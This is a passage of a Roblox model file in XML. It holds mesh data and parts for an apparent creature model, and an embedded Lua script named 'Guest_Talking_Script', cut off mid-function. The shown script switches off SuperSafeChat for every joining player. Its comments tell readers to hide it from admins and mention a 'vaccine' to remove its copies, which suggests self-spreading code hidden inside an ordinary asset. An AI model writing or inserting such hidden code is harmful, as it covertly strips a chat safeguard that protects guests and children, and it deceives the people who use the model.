IDAuODcxMDcsIDBdWzEuODQ4MjQsIDE2LjMyNDcsIDEzLjE5NTddWzAuNDU3NDcsIDAuODg1
OTEsIC0wLjA3Njc1XVswLjUzMDE3LCAwLjg4MzY2LCAwXVszLjI0OTc0LCAxNS4wOTQ3LCAx
Mi43NTAyXVswLjc1NjU2LCAwLjY1MzgyLCAwLjAxMTMxXVswLjUzNTYwLCAwLjg2OTIyLCAw
XVszLjI0OTc0LCAxNS4wOTQ3LCAxMi43NTAyXVswLjc1NjU2LCAwLjY1MzgyLCAwLjAxMTMx
XVswLjUzNTYwLCAwLjg2OTIyLCAwXVszLjYxNDI0LCAxMy45MTEyLCA3Ljc3OTIzXVswLjY1
NDE1LCAwLjcyNjc2LCAtMC4yMDk1Nl1bMC41OTYwOSwgMC44NTUzMCwgMF1bMS45MzkyNCwg
MTUuMjU0MiwgOC4xNzQyMl1bMC40NzUzMSwgMC44Mzg0OCwgLTAuMjY2NTFdWzAuNTkxMjks
IDAuODcxMDcsIDBdWzMuNzc4MjQsIDExLjk4MDcsIDMuMzk1MjJdWzAuNTYzNzAsIDAuNzQ0
OTksIC0wLjM1NjcwXVswLjY0OTQ2LCAwLjgzMjYxLCAwXVsxLjkzOTI0LCAxNS4yNTQyLCA4
LjE3NDIyXVswLjQ3NTMxLCAwLjgzODQ4LCAtMC4yNjY1MV1bMC41OTEyOSwgMC44NzEwNywg
MF1bMy42MTQyNCwgMTMuOTExMiwgNy43NzkyM11bMC42NTQxNSwgMC43MjY3NiwgLTAuMjA5
NTZdWzAuNTk2MDksIDAuODU1MzAsIDBdWzcuMTkwNzUsIDMuNzYzMTYsIC0xLjc5NDI3XVsw
LjUyMzQ5LCAwLjA1Nzk2LCAtMC44NTAwNl1bMC40OTY4NiwgMC45MjAwNywgMF1bOC4zMDQy
NCwgNC40NTQxNSwgLTAuOTIwNzY5XVswLjU1NjM4LCAwLjEzOTAyLCAtMC44MTkyMl1bMC40
NjkxMSwgMC45NDY0NCwgMF1bNy45NjE3NCwgMy4yODIxNiwgLTEuMzUyMjZdWzAuODIyNTAs
IC0wLjA3ODM5LCAtMC41NjMzNF1bMC40Nzc2NSwgMC45MTgzNywgMF1bMi4zODU3NSwgMS4x
NDcxNiwgLTQuMzk3MjZdWzAuNTM3NTAsIDAuMDUzNjQsIC0wLjg0MTU1XVswLjYxNjYxLCAw
LjgzMTQyLCAwXVs3LjE5MDc1LCAzLjc2MzE2LCAtMS43OTQyN11bMC41MjM0OSwgMC4wNTc5
NiwgLTAuODUwMDZdWzAuNDk2ODYsIDAuOTIwMDcsIDBdWzcuOTYxNzQsIDMuMjgyMTYsIC0x
LjM1MjI2XVswLjgyMjUwLCAtMC4wNzgzOSwgLTAuNTYzMzRdWzAuNDc3NjUsIDAuOTE4Mzcs
IDBdWzIuMzg1NzUsIDEuMTQ3MTYsIC00LjM5NzI2XVswLjUzNzUwLCAwLjA1MzY0LCAtMC44
NDE1NV1bMC42MTY2MSwgMC44MzE0MiwgMF1bNy45NjE3NCwgMy4yODIxNiwgLTEuMzUyMjZd
WzAuODIyNTAsIC0wLjA3ODM5LCAtMC41NjMzNF1bMC40Nzc2NSwgMC45MTgzNywgMF1bNy4y
MjQyNCwgMC44MDQxNjEsIC0xLjc2Mjc3XVswLjY5MTQ5LCAtMC4xMTQzMSwgLTAuNzEzMjhd
WzAuNDk2MDIsIDAuODY3MDEsIDBdWzIuMzg1NzUsIDEuMTQ3MTYsIC00LjM5NzI2XVswLjUz
NzUwLCAwLjA1MzY0LCAtMC44NDE1NV1bMC42MTY2MSwgMC44MzE0MiwgMF1bNy4yMjQyNCwg
MC44MDQxNjEsIC0xLjc2Mjc3XVswLjY5MTQ5LCAtMC4xMTQzMSwgLTAuNzEzMjhdWzAuNDk2
MDIsIDAuODY3MDEsIDBdWzUuNTgyNzQsIC0yLjYzNzM0LCAtMi42MDA3Nl1bMC41ODY0Miwg
MC4xMjM3MSwgLTAuODAwNTBdWzAuNTM2OTQsIDAuNzkxNDQsIDBdWzEuODI4MTMsIC0zLjUw
Njg5LCAtNS42ODEwOF1bMC40MzA3NSwgLTAuMjI3ODUsIC0wLjg3MzIzXVswLjY0ODY0LCAw
LjExMTE4LCAwXVsxLjYzOTU4LCAtMi45Mzc3NiwgLTUuOTIyNzJdWzAuNDMwNzQsIC0wLjIy
Nzg3LCAtMC44NzMyM11bMC42NzcxOSwgMC4xNzAyOCwgMF1bMi43MzY0LCAtMi45Mzc3Niwg
LTUuMzgxNjldWzAuNDMwNzQsIC0wLjIyNzk2LCAtMC44NzMyMV1bMC41NTA2NywgMC4xNzAy
OCwgMF1bLTEuOTI0OTMsIC0wLjE4ODI1OSwgLTYuNTA2MTddWy0wLjQzMDc0LCAtMC4yMjc5
NywgLTAuODczMjFdWzAuNzg2MTMsIDAuMDc5NjIsIDBdWy0yLjgzMzIsIDAuMzgwODcxLCAt
Ni4yMDY3OF1bLTAuNDMwNzUsIC0wLjIyNzgxLCAtMC44NzMyNF1bMC43NDAzNCwgMC4wMTc0
MiwgMF1bLTIuMjI1NiwgMC4zODA4NzEsIC02LjUwNjVdWy0wLjQzMDc3LCAtMC4yMjc2OCwg
LTAuODczMjddWzAuODA3MDksIDAuMDI4NDYsIDBdWy0yLjIyNTYsIDAuMzgwODcxLCAtNi41
MDY1XVstMC40MzA3NywgLTAuMjI3NjgsIC0wLjg3MzI3XVswLjgwNzA5LCAwLjAyODQ2LCAw
XVstMi44MzMyLCAwLjM4MDg3MSwgLTYuMjA2NzhdWy0wLjQzMDc1LCAtMC4yMjc4MSwgLTAu
ODczMjRdWzAuNzQwMzQsIDAuMDE3NDIsIDBdWy0yLjU1MzM5LCAwLjYyNDA2MiwgLTYuNDA4
MV1bLTAuNDMwODEsIC0wLjIyNzMxLCAtMC44NzMzNV1bMC43NzgwMCwgLTAuMDAxMDgsIDBd
Wy0xLjY5MDE2LCAtMS4wNzAyNiwgLTYuMzkxOV1bLTAuNDMwNzksIC0wLjIyNzQ3LCAtMC44
NzMzMl1bMC45OTQyOSwgMC41MTI0MywgMF1bLTMuMDIxNzUsIC0wLjE4ODI1OSwgLTUuOTY1
MTRdWy0wLjQzMDc0LCAtMC4yMjc4OCwgLTAuODczMjNdWzAuOTU4ODUsIDAuNDI4MDcsIDBd
Wy0xLjkyNDkzLCAtMC4xODgyNTksIC02LjUwNjE3XVstMC40MzA3NCwgLTAuMjI3OTcsIC0w
Ljg3MzIxXVsxLjAwMDc4LCAwLjQyNzkzLCAwXVstMS45MjQ5MywgLTAuMTg4MjU5LCAtNi41
MDYxN11bLTAuNDMwNzQsIC0wLjIyNzk3LCAtMC44NzMyMV1bMS4wMDA3OCwgMC40Mjc5Mywg
MF1bLTMuMDIxNzUsIC0wLjE4ODI1OSwgLTUuOTY1MTRdWy0wLjQzMDc0LCAtMC4yMjc4OCwg
LTAuODczMjNdWzAuOTU4ODUsIDAuNDI4MDcsIDBdWy0yLjgzMzIsIDAuMzgwODcxLCAtNi4y
MDY3OF1bLTAuNDMwNzUsIC0wLjIyNzgxLCAtMC44NzMyNF1bMC45NTQ5OSwgMC4zNjU3Mywg
MF1bLTEuODQ0NjQsIC0zLjUwNjg5LCAtNS42ODEwOF1bLTAuNDMwNzcsIC0wLjIyNzc0LCAt
MC44NzMyNV1bMC44MjY2OCwgMC4xMTE1MywgMF1bLTIuMTI0NDksIC0zLjc0OTU4LCAtNS40
Nzk4M11bLTAuNDMwODAsIC0wLjIyNzQ0LCAtMC44NzMzMl1bMC44NjE3NSwgMC4wODY0MSwg
MF1bLTIuNDUyNjgsIC0zLjUwNjg5LCAtNS4zODExNF1bLTAuNDMwNzUsIC0wLjIyNzg1LCAt
MC44NzMyM11bMC44OTY2MCwgMC4xMTE1MywgMF1bLTEuODQ0NjQsIC0zLjUwNjg5LCAtNS42
ODEwOF1bLTAuNDMwNzcsIC0wLjIyNzc0LCAtMC44NzMyNV1bMC44MjY2OCwgMC4xMTE1Mywg
MF1bLTIuNDUyNjgsIC0zLjUwNjg5LCAtNS4zODExNF1bLTAuNDMwNzUsIC0wLjIyNzg1LCAt
MC44NzMyM11bMC44OTY2MCwgMC4xMTE1MywgMF1bLTEuNjU2MDksIC0yLjkzNzc2LCAtNS45
MjI3Ml1bLTAuNDMwNzQsIC0wLjIyNzk2LCAtMC44NzMyMV1bMC43OTgyMSwgMC4xNzA0NSwg
MF1bLTIuNDUyNjgsIC0zLjUwNjg5LCAtNS4zODExNF1bLTAuNDMwNzUsIC0wLjIyNzg1LCAt
MC44NzMyM11bMC44OTY2MCwgMC4xMTE1MywgMF1bLTIuNzUyOSwgLTIuOTM3NzYsIC01LjM4
MTY5XVstMC40MzA3NSwgLTAuMjI3ODgsIC0wLjg3MzIzXVswLjkyNDM1LCAwLjE3MDQ1LCAw
XVstMS42NTYwOSwgLTIuOTM3NzYsIC01LjkyMjcyXVstMC40MzA3NCwgLTAuMjI3OTYsIC0w
Ljg3MzIxXVswLjc5ODIxLCAwLjE3MDQ1LCAwXVstMS42NTYwOSwgLTIuOTM3NzYsIC01Ljky
MjcyXVstMC40MzA3NCwgLTAuMjI3OTYsIC0wLjg3MzIxXVswLjc5ODIxLCAwLjE3MDQ1LCAw
XVstMi43NTI5LCAtMi45Mzc3NiwgLTUuMzgxNjldWy0wLjQzMDc1LCAtMC4yMjc4OCwgLTAu
ODczMjNdWzAuOTI0MzUsIDAuMTcwNDUsIDBdWy0xLjU5NDAxLCAtMi4wNTU3NiwgLTYuMTgz
NDJdWy0wLjQzMDgxLCAtMC4yMjczMCwgLTAuODczMzVdWzAuNzgwNTgsIDAuMjYxNzcsIDBd
Wy0yLjc1MjksIC0yLjkzNzc2LCAtNS4zODE2OV1bLTAuNDMwNzUsIC0wLjIyNzg4LCAtMC44
NzMyM11bMC45MjQzNSwgMC4xNzA0NSwgMF1bLTIuOTg3NjcsIC0yLjA1NTc2LCAtNS40OTU5
NV1bLTAuNDMwODEsIC0wLjIyNzMwLCAtMC44NzMzNV1bMC45NDA4NiwgMC4yNjE3NywgMF1b
LTEuNTk0MDEsIC0yLjA1NTc2LCAtNi4xODM0Ml1bLTAuNDMwODEsIC0wLjIyNzMwLCAtMC44
NzMzNV1bMC43ODA1OCwgMC4yNjE3NywgMF1bLTEuNTk0MDEsIC0yLjA1NTc2LCAtNi4xODM0
Ml1bLTAuNDMwODEsIC0wLjIyNzMwLCAtMC44NzMzNV1bMC43ODA1OCwgMC4yNjE3NywgMF1b
LTIuOTg3NjcsIC0yLjA1NTc2LCAtNS40OTU5NV1bLTAuNDMwODEsIC0wLjIyNzMwLCAtMC44
NzMzNV1bMC45NDA4NiwgMC4yNjE3NywgMF1bLTMuMDgzODIsIC0xLjA3MDI2LCAtNS43MDQ0
NF1bLTAuNDMwODIsIC0wLjIyNzE0LCAtMC44NzMzOF1bMC45NDAyNCwgMC4zNjM3NiwgMF1b
LTEuNTk0MDEsIC0yLjA1NTc2LCAtNi4xODM0Ml1bLTAuNDMwODEsIC0wLjIyNzMwLCAtMC44
NzMzNV1bMC43ODA1OCwgMC4yNjE3NywgMF1bLTMuMDgzODIsIC0xLjA3MDI2LCAtNS43MDQ0
NF1bLTAuNDMwODIsIC0wLjIyNzE0LCAtMC44NzMzOF1bMC45NDAyNCwgMC4zNjM3NiwgMF1b
LTEuNjkwMTYsIC0xLjA3MDI2LCAtNi4zOTE5XVstMC40MzA3OSwgLTAuMjI3NDcsIC0wLjg3
MzMyXVswLjc3OTk1LCAwLjM2Mzc2LCAwXVstMS42OTAxNiwgLTEuMDcwMjYsIC02LjM5MTld
Wy0wLjQzMDc5LCAtMC4yMjc0NywgLTAuODczMzJdWzAuNzc5OTUsIDAuMzYzNzYsIDBdWy0z
LjA4MzgyLCAtMS4wNzAyNiwgLTUuNzA0NDRdWy0wLjQzMDgyLCAtMC4yMjcxNCwgLTAuODcz
MzhdWzAuOTQwMjQsIDAuMzYzNzYsIDBdWy0zLjAyMTc1LCAtMC4xODgyNTksIC01Ljk2NTE0
XVstMC40MzA3NCwgLTAuMjI3ODgsIC0wLjg3MzIzXVswLjkyMjYwLCAwLjQ1NTA3LCAwXVsy
LjgxNjY5LCAwLjM4MDg3MSwgLTYuMjA2NzhdWzAuNDMwNzUsIC0wLjIyNzgwLCAtMC44NzMy
NV1bMC41OTU3MSwgMC4wMjIzNSwgMF1bMS45MDg0MiwgLTAuMTg4MjU5LCAtNi41MDYxN11b
MC40MzA3NCwgLTAuMjI3OTYsIC0wLjg3MzIxXVswLjU0MTU0LCAwLjA3Nzc1LCAwXVsyLjIw
OTA5LCAwLjM4MDg3MSwgLTYuNTA2NV1bMC40MzA3NiwgLTAuMjI3NjgsIC0wLjg3MzI3XVsw
LjUyODA0LCAwLjAyNDI1LCAwXVsyLjUzNjg4LCAwLjYyNDA2MiwgLTYuNDA4MV1bMC40MzA4
MCwgLTAuMjI3MzIsIC0wLjg3MzM1XVswLjU2MTAzLCAtMC4wMDEwOCwgMF1bMi44MTY2OSwg
MC4zODA4NzEsIC02LjIwNjc4XVswLjQzMDc1LCAtMC4yMjc4MCwgLTAuODczMjVdWzAuNTk1
NzEsIDAuMDIyMzUsIDBdWzIuMjA5MDksIDAuMzgwODcxLCAtNi41MDY1XVswLjQzMDc2LCAt
MC4yMjc2OCwgLTAuODczMjddWzAuNTI4MDQsIDAuMDI0MjUsIDBdWzMuMDA1MjQsIC0wLjE4
ODI1OSwgLTUuOTY1MTRdWzAuNDMwNzQsIC0wLjIyNzg4LCAtMC44NzMyM11bMC41NDAzOCwg
MC40MzE4NywgMF1bMS42NzM2NSwgLTEuMDcwMjYsIC02LjM5MTldWzAuNDMwNzgsIC0wLjIy
NzQ3LCAtMC44NzMzMl1bMC40OTMzMywgMC41MTA2MiwgMF1bMS45MDg0MiwgLTAuMTg4MjU5
LCAtNi41MDYxN11bMC40MzA3NCwgLTAuMjI3OTYsIC0wLjg3MzIxXVswLjQ5ODg3LCAwLjQy
NjA1LCAwXVsyLjgxNjY5LCAwLjM4MDg3MSwgLTYuMjA2NzhdWzAuNDMwNzUsIC0wLjIyNzgw
LCAtMC44NzMyNV1bMC41NTMwNCwgMC4zNzA2NSwgMF1bMy4wMDUyNCwgLTAuMTg4MjU5LCAt
NS45NjUxNF1bMC40MzA3NCwgLTAuMjI3ODgsIC0wLjg3MzIzXVswLjU0MDM4LCAwLjQzMTg3
LCAwXVsxLjkwODQyLCAtMC4xODgyNTksIC02LjUwNjE3XVswLjQzMDc0LCAtMC4yMjc5Niwg
LTAuODczMjFdWzAuNDk4ODcsIDAuNDI2MDUsIDBdWzIuNDM2MTgsIC0zLjUwNjg5LCAtNS4z
ODExNF1bMC40MzA3NiwgLTAuMjI3NzUsIC0wLjg3MzI1XVswLjU3OTc5LCAwLjEwOTg0LCAw
XVsyLjEwNzk4LCAtMy43NDk1OCwgLTUuNDc5ODNdWzAuNDMwNzksIC0wLjIyNzQ1LCAtMC44
NzMzMl1bMC42MTQ3NiwgMC4wODQ2NCwgMF1bMS44MjgxMywgLTMuNTA2ODksIC01LjY4MTA4
XVswLjQzMDc1LCAtMC4yMjc4NSwgLTAuODczMjNdWzAuNjQ5OTMsIDAuMTA5ODQsIDBdWzIu
NzM2NCwgLTIuOTM3NzYsIC01LjM4MTY5XVswLjQzMDc0LCAtMC4yMjc5NiwgLTAuODczMjFd
WzAuNTUxOTcsIDAuMTY4OTQsIDBdWzIuNDM2MTgsIC0zLjUwNjg5LCAtNS4zODExNF1bMC40
MzA3NiwgLTAuMjI3NzUsIC0wLjg3MzI1XVswLjU3OTc5LCAwLjEwOTg0LCAwXVsxLjgyODEz
LCAtMy41MDY4OSwgLTUuNjgxMDhdWzAuNDMwNzUsIC0wLjIyNzg1LCAtMC44NzMyM11bMC42
NDk5MywgMC4xMDk4NCwgMF1bMy4wMDUyNCwgLTAuMTg4MjU5LCAtNS45NjUxNF1bMC40MzA3
NCwgLTAuMjI3ODgsIC0wLjg3MzIzXVswLjU1MzczLCAwLjQ1NDQxLCAwXVszLjA2NzMyLCAt
MS4wNzAyNiwgLTUuNzA0NDRdWzAuNDMwODIsIC0wLjIyNzE1LCAtMC44NzMzOF1bMC41MzYw
NCwgMC4zNjI4MywgMF1bMS42NzM2NSwgLTEuMDcwMjYsIC02LjM5MTldWzAuNDMwNzgsIC0w
LjIyNzQ3LCAtMC44NzMzMl1bMC42OTY3OSwgMC4zNjI4MywgMF1bMy4wNjczMiwgLTEuMDcw
MjYsIC01LjcwNDQ0XVswLjQzMDgyLCAtMC4yMjcxNSwgLTAuODczMzhdWzAuNTM2MDQsIDAu
MzYyODMsIDBdWzEuNTc3NSwgLTIuMDU1NzYsIC02LjE4MzQyXVswLjQzMDgyLCAtMC4yMjcx
NSwgLTAuODczMzhdWzAuNjk2MTgsIDAuMjYwNTMsIDBdWzEuNjczNjUsIC0xLjA3MDI2LCAt
Ni4zOTE5XVswLjQzMDc4LCAtMC4yMjc0NywgLTAuODczMzJdWzAuNjk2NzksIDAuMzYyODMs
IDBdWzMuMDY3MzIsIC0xLjA3MDI2LCAtNS43MDQ0NF1bMC40MzA4MiwgLTAuMjI3MTUsIC0w
Ljg3MzM4XVswLjUzNjA0LCAwLjM2MjgzLCAwXVsyLjk3MTE3LCAtMi4wNTU3NiwgLTUuNDk1
OTVdWzAuNDMwNzksIC0wLjIyNzQ3LCAtMC44NzMzMl1bMC41MzU0MiwgMC4yNjA1MywgMF1b
MS41Nzc1LCAtMi4wNTU3NiwgLTYuMTgzNDJdWzAuNDMwODIsIC0wLjIyNzE1LCAtMC44NzMz
OF1bMC42OTYxOCwgMC4yNjA1MywgMF1bMS42Mzk1OCwgLTIuOTM3NzYsIC01LjkyMjcyXVsw
LjQzMDc0LCAtMC4yMjc4NywgLTAuODczMjNdWzAuNjc4NDgsIDAuMTY4OTQsIDBdWzEuNTc3
NSwgLTIuMDU1NzYsIC02LjE4MzQyXVswLjQzMDgyLCAtMC4yMjcxNSwgLTAuODczMzhdWzAu
Njk2MTgsIDAuMjYwNTMsIDBdWzIuOTcxMTcsIC0yLjA1NTc2LCAtNS40OTU5NV1bMC40MzA3
OSwgLTAuMjI3NDcsIC0wLjg3MzMyXVswLjUzNTQyLCAwLjI2MDUzLCAwXVsyLjk3MTE3LCAt
Mi4wNTU3NiwgLTUuNDk1OTVdWzAuNDMwNzksIC0wLjIyNzQ3LCAtMC44NzMzMl1bMC41MzU0
MiwgMC4yNjA1MywgMF1bMi43MzY0LCAtMi45Mzc3NiwgLTUuMzgxNjldWzAuNDMwNzQsIC0w
LjIyNzk2LCAtMC44NzMyMV1bMC41NTE5NywgMC4xNjg5NCwgMF1bMS42Mzk1OCwgLTIuOTM3
NzYsIC01LjkyMjcyXVswLjQzMDc0LCAtMC4yMjc4NywgLTAuODczMjNdWzAuNjc4NDgsIDAu
MTY4OTQsIDBd</binary></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.300000012</X>
								<Y>0.300000012</Y>
								<Z>0.300000012</Z>
							</Vector3>
							<Content name="TextureId"><url>http://www.roblox.com/asset/?id=16287334</url></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX239">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=16287334</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX240">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>49</X>
							<Y>3.89997697</Y>
							<Z>15.7909546</Z>
							<R00>1</R00>
							<R01>9.11920469e-018</R01>
							<R02>-1.37615361e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>3.42285418e-008</R11>
							<R12>1</R12>
							<R20>9.11920469e-018</R20>
							<R21>-1</R21>
							<R22>3.42285418e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX241">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>0.800000012</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX242">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>49</X>
							<Y>3.59988236</Y>
							<Z>16.4909668</Z>
							<R00>1</R00>
							<R01>-1.37615361e-018</R01>
							<R02>-9.11920469e-018</R02>
							<R10>1.37615143e-018</R10>
							<R11>1</R11>
							<R12>-3.42285418e-008</R12>
							<R20>9.11920469e-018</R20>
							<R21>3.42285418e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.60000002</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX243">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.60000002</X>
								<Y>1.20000005</Y>
								<Z>1.60000002</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX244">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>49</X>
							<Y>2.89993596</Y>
							<Z>17.5910034</Z>
							<R00>-1</R00>
							<R01>-9.11920469e-018</R01>
							<R02>-1.37615361e-018</R02>
							<R10>-1.37615143e-018</R10>
							<R11>-3.42285418e-008</R11>
							<R12>1</R12>
							<R20>-9.11920469e-018</R20>
							<R21>1</R21>
							<R22>3.42285418e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Tail</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX245">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.300000012</X>
								<Y>3</Y>
								<Z>0.300000012</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX246">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Guest_Talking_Script</string>
						<string name="Source">--Farvei&apos;s totally awesome script that makes Guests talk
--Please give credit
--Don&apos;t tell the admins!
--Unnote the vaccine if you&apos;d like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;Press the / key to start typing.&quot;;
			m.Parent = player;
			wait(5);
			m.Text = &quot;Then press Enter to send your message.&quot;;
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == &quot;Player&quot;) then
			checkForAndSwitch(obj);
			local m = Instance.new(&quot;Message&quot;);
			m.Text = &quot;This Server Supports Talking Guests&quot;;
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == &quot;Model&quot;) then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage(&quot;collect&quot;);
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
